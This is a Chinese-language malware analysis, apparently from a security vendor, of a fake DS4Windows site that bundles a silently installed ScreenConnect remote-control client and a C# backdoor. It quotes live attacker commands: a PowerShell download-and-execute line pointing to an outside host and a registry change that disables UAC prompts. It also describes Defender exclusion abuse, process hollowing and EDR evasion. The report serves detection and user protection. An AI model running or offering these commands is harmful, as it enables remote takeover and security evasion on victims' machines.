恶意利用!伪装外设软件暗藏ScreenConnect商业远控工具
-
作者:火绒安全
-
发布时间:2026-02-05
-
阅读量:802
近期,火绒安全工程师在监测网络安全动态过程中,接到用户反馈软件反复报毒的异常情况。经溯源分析与技术研判,确认该问题源于用户从伪装为DS4Windows官方网站的钓鱼站点下载程序,进而导致主机被恶意部署ScreenConnect远程控制工具,遭受持续远程控制。病毒运营者通过该远控工具,向受害主机下发CMD、PowerShell等恶意指令,其中一条指令可诱导受害主机下载并执行C#编写的后门模块。攻击者可依托该后门持续下发任意恶意模块,对受害主机实施信息窃取、勒索攻击等一系列恶意行为。火绒安全产品已可对上述木马程序及相关恶意行为实现精准拦截与全面查杀,切实保障用户设备与数据安全。

查杀图

查杀图
鉴于ScreenConnect远程控制工具存在被病毒作者利用的情况,为防范其他尚未被发现的远程控制工具遭到利用,建议开启火绒安全软件的风险软件监控——远程控制工具类。

风险软件监控
一、样本分析
样本分析过程中关键文件说明:

关键文件说明表
此次样本的流程图如下:

1.1 加载器(install.res.1033.dll)
从假冒的官网ds4windows.io中下载DS4Windows.zip压缩包,随后解压后文件夹结构如下图所示,其中DS4Windows.exe为白文件,用于加载被恶意改造过的加载器 install.res.1033.dll,其中Assets目录中会有DS4安装包和远控工具。

文件夹结构
随着受害者启动DS4Windows.exe程序,此时会通过DLL侧加载install.res.1033.dll恶意文件,该恶意文件会通过递归搜索当前文件夹,寻找setup.cab与vcredist_x64.dll文件,前者为DS4Windows安装包,后者为ScreenConnect远控工具MSI安装包。随后会分别执行这两个程序,其中会为了防止反复安装ScreenConnect远控工具,会读写注册表键UpdateCheck进行判断。

安装后设置注册表
其中MSI安装包的执行会添加/qn /norestart参数,用于无界面静默安装。

MSI静默安装参数
下图为样本完成安装ScreenConnect远控组件后写入的注册表键值。

注册表中的UpdateCheck键值
1.2 screenconnect 远控工具 MSI 安装包(vcredist_x64.dll)
该vcredist_x64.dll文件为ScreenConnect远控工具的MSI安装包,该安装包可通过ScreenConnect服务端Build Installer窗口进行构建,在此时点击DOWNLOAD按钮则可以下载到指向该服务器的ScreenConnect远控工具客户端。

ScreenConnect服务端中构建并下载客户端
其MSI安装包可根据服务端设置释放app.config配置文件,该文件包含多项可配置的设置项。通过对该文件进行设置,能够使连接提示、气泡、托盘图标、横幅等UI不显示,进而实现静默远控。若未进行设置,则会显示托盘图标以及点击托盘图标后出现的窗口。病毒作者正是利用此配置文件使ScreenConnect远控工具实现静默化,这是ScreenConnect远控工具存在的隐患之一。

根据配置文件隐藏托盘图标
安装MSI安装包时会创建服务,其中会以"Microsoft Update Service"为服务名,并通过参数中附加远控服务器域名、端口、公钥等方式进行指向病毒作者的服务器,而且可通过设置StartType使服务自动运行,从而完成持久化操作。此时已被感染的用户主机中留存的唯一恶意特征就是该服务的参数,这也是杀掉该服务程序的主要原因之一。

MSI安装包中服务相关
1.3 下发恶意指令
1.3.1 设置白名单
病毒作者利用ScreenConnect服务端下发恶意指令。通过火绒威胁情报平台观察到病毒作者在第一次通信后,会发送以下CMD指令,该指令会临时存储于C:\Windows\SystemTemp\ScreenConnect\{版本号}目录下创建{随机名}.cmd的文件并执行。该指令利用PowerShell将所有本地硬盘和svchost.exe进程设置为白名单,使后续执行恶意操作时使Windows Defender的防护功能失效。

服务端发送设置白名单的CMD指令(最终是PowerShell指令)
1.3.2 下载加载器(m.exe)
病毒作者以同样的方法发送以下内容的指令 powershell -command "Invoke-WebRequest 'https://free-download.camdvr.org/m.exe' -OutFile $env:TEMP\\m.exe; Start-Process $env:TEMP\\m.exe -WindowStyle Hidden",使受害者通过该指令下载执行加载器(m.exe)。
该加载器会通过DES解密和GZip解压缩被加密数据,随后通过遍历所有类并调用类中的方法 e0RuOWXx23,从而调用后门模块的入口点函数。

解密解压并调用方法
1.3.3 其他恶意指令
火绒安全工程师还观察到以下恶意指令:
1、设置默认管理员权限指令:powershell -Command "Set-ItemProperty -Path HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" -Name ConsentPromptBehaviorAdmin -Value 0
2、将指定程序名与目录添加到Windows Defender排除项中,与此次“设置白名单”中类似,只是不像上述“设置白名单”直接将所有本地硬盘都加入到白名单中。

精确添加排除项
1.4 后门模块(Jaqihe.dll)
此为可下发任意恶意模块的后门模块,其本身仅具备发送系统信息、下载、注入、持久化、检测调试工具等功能,不具备诸如窃密、勒索等其他功能。
其中逻辑如下:
1. 先通过Base64解码与反序列化的方式获取到配置数据。
2. 创建两个互斥体。
3. 通过配置数据中的开关检查显卡信息。
4. 通过配置数据中的开关和路径创建计划任务,实现持久化。
5. 通过配置数据中的开关和路径注入至随机程序。
6. 等待2~5分钟请求远程服务器获取下发的恶意模块。
7. 再将恶意模块注入至指定程序中,完成后门操作。
下图为入口点函数:

入口点
其中获取到的配置如下:

创建两个互斥体:第一次是通过配置中的互斥体名0e408d79145483754a71a3创建互斥体,从而防止病毒重复运行,第二次是利用用户标识创建互斥体。

创建互斥体
计算用户标识:第二次创建互斥体时的用户标识是利用WMI服务和C#自带的.NETAPI获取到的系统信息组合,计算得出的MD5值。其中系统信息包含处理器、硬盘、主板、显卡相关信息和用户名。

计算用户标识
获取显卡信息并选择退出:通过配置数据中的开关选择是否检测显卡信息。获取显卡信息有两种方法,第一个是通过开源项目openhardwaremonitor获取,其中只会获取大于4GB显存的显卡,第二个方法是通过注册表获取包含"NVIDIA","GTX","RTX","RX", "RADEON"等字符串的显卡信息,其中HardwareInformation.qwMemorySize是显存大小,只有大于等于4GB的时候才会获取信息。
若还是没有符合标准的显卡,则会获取处理器名后退出进程,然而此次配置数据中的开关为关闭状态。

获取显卡信息
检查是否存在计划任务与管理员权限:检测当前进程文件所在目录是否为.NET运行时目录C:\Windows\Microsoft.NET\Framework64\v4.0.30319,如果不是则继续查看是否存在名为NextChannelSink的计划任务,再检测是否为管理员权限,若不是管理员则会利用管理员启动CMD执行当前进程文件。随后创建两个计划任务,分别为添加Windows Defender排除项和创建反复执行NextChannelSink.exe文件的计划任务。

检查是否存在计划任务与管理员权限
添加一次性的计划任务(添加Windows Defender排除项):添加被隐藏的计划任务,且20秒后会过期删除,从而利用一次性计划任务将.NET运行时目录中会用于注入的进程文件添加至白名单,最终使Windows Defender失效。

添加白名单的计划任务
创建反复执行NextChannelSink.exe程序的计划任务:随后再将当前进程文件复制到%AppData%\TypeId\NextChannelSink.exe且设置隐藏。随后创建计划任务使反复执行NextChannelSink.exe程序,其中可以看到实际重复的间隔为277秒(属于随机数)。

复制文件和创建的计划任务
创建傀儡进程并注入:通过配置数据中的开关和是否在.NET运行时目录,从而选择是否注入。其中会将当前进程文件注入到.NET运行时目录中的随机程序进程中("AddInUtil","MSBuild","RegAsm","RegSvcs","aspnet_compiler"),再通过参数创建无窗口(CREATE_NO_WINDOW)与挂起(CREATE_SUSPENDED)的进程。最后通过进程镂空的方式注入,并恢复线程使进程继续运行。

进程镂空注入
发送系统信息:随后连接远程服务器并发送受害者的系统信息,其中包括反病毒软件、错误消息、主机类型、用户标识、显卡/CPU名与显卡内存大小信息等信息,其中比较特别的是会获取全屏时的窗口名和"v7.0.7"这个类似于版本的字符串数据。

发送系统信息
获取远程配置:从远程服务器获取到新的配置,该配置中会有恶意模块的下载链接,配置需要经过解密与反序列化,可以看到此次获取到的配置全是null与false,并未获取到包含恶意模块下载地址的配置。

获取远程配置
傀儡进程注入恶意模块:若获取到了含有恶意模块下载连接的配置,则会进行下载,并使用同一种方式再次将获取到的恶意模块注入至傀儡进程,并将傀儡进程的父进程伪装成explorer,从而规避EDR的检查。在此之前会检查是否有指定调试工具进程,若有则会直接退出进程。

火绒安全在此提醒广大用户:切勿从非官方渠道、陌生域名下载游戏外设、系统工具类软件,安装程序前务必核验官网域名与文件签名,避免因下载到捆绑恶意程序的伪造安装包导致设备被控、数据泄露。同时建议用户开启安全软件的风险软件监控与远程控制工具防护功能,及时更新病毒库,对可疑的开机自启服务、未知计划任务与静默运行程序进行排查。火绒安全将持续监控此类利用商业远控工具进行的黑产攻击,持续升级查杀与防御能力,第一时间为用户拦截各类新型网络威胁,守护用户终端与数据安全。
二、附录
C&C:

HASH:
